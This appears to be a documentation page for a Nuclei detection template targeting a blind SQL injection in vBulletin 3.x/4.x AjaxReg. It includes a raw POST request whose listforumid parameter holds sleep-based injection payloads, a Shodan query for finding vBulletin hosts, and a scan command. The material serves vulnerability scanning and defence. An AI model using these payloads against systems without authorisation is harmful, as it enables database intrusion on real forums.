Skip to content

vBulletin 3.x / 4.x AjaxReg - SQL Injection

ID: vbulletin-ajaxreg-sqli

Severity: critical

Author: mastercho

Tags: time-based-sqli,packetstorm,vbulletin,ajaxreg,sqli

vBulletin versions 3.x and 4.x suffer from an AjaxReg remote blind SQL injection vulnerability.

id: vbulletin-ajaxreg-sqli
info:
name: vBulletin 3.x / 4.x AjaxReg - SQL Injection
author: mastercho
severity: critical
description: |
vBulletin versions 3.x and 4.x suffer from an AjaxReg remote blind SQL injection vulnerability.
reference:
- https://packetstormsecurity.com/files/118703/vBulletin-3.x-4.x-AjaxReg-SQL-Injection.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cwe-id: CWE-89
cpe: cpe:2.3:a:vbulletin:vbulletin:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
shodan-query: http.component:"vBulletin"
product: vbulletin
vendor: vbulletin
tags: time-based-sqli,packetstorm,vbulletin,ajaxreg,sqli
http:
- raw:
- |
@timeout: 20s
POST /ajax.php?do=inforum&listforumid=(select(0)from(select(sleep(6)))v)/*'%2B(select(0)from(select(sleep(6)))v)%2B'"%2B(select(0)from(select(sleep(6)))v)%2B"*/&result=10 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
undefined&s=&securitytoken=guest
host-redirects: true
max-redirects: 3
matchers:
- type: dsl
dsl:
- 'duration>=6'
- 'status_code == 200'
- 'contains_any(header, "bb_lastvisit", "bb_sessionhash")'
condition: and
# digest: 490a00463044022012bd050d8436ac459c66c24fde619964e9fce3437119b55dc18af9d8a3c0e3d8022045a186927137b720b355f62b089b2fd4c28829c07b3ea03146e6a5667c8293e2:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/vbulletin/vbulletin-ajaxreg-sqli.yaml"

View on Github